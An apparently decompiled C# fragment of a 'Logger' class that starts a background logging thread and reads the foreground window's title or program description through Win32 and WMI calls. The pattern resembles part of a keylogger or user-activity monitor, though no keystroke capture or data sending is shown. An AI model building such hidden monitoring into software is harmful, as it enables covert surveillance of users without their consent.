public Logger(string path)
 {
     this.path      = path + this.path;
     this.g         = new GWH();
     this.workstate = true;
     new Thread(new ThreadStart(this.StartLogging)).Start();
 }
    private string GetTitle(IntPtr handle)
    {
        string        str      = "";
        StringBuilder lpString = new StringBuilder(256);

        if (GWH.GetWindowText(handle, lpString, 256) > 0)
        {
            str = lpString.ToString();
        }
        return(str);
    }
 public string GetActiveWindowTitle()
 {
     try
     {
         IntPtr foregroundWindow      = GWH.GetForegroundWindow();
         uint   lpdwProcessId         = 0;
         int    windowThreadProcessId = (int)GWH.GetWindowThreadProcessId(foregroundWindow, out lpdwProcessId);
         string processName           = Process.GetProcessById((int)lpdwProcessId).ProcessName;
         if (processName == "explorer" || processName == "WWAHost")
         {
             return(this.GetTitle(foregroundWindow));
         }
         string str = FileVersionInfo.GetVersionInfo((string)new ManagementObjectSearcher(string.Format("SELECT ProcessId, ExecutablePath FROM Win32_Process WHERE ProcessId LIKE '{0}'", (object)lpdwProcessId.ToString())).Get().Cast <ManagementObject>().FirstOrDefault <ManagementObject>()["ExecutablePath"]).FileDescription;
         if (str == "")
         {
             str = this.GetTitle(foregroundWindow);
         }
         return(str);
     }
     catch
     {
         return("");
     }
 }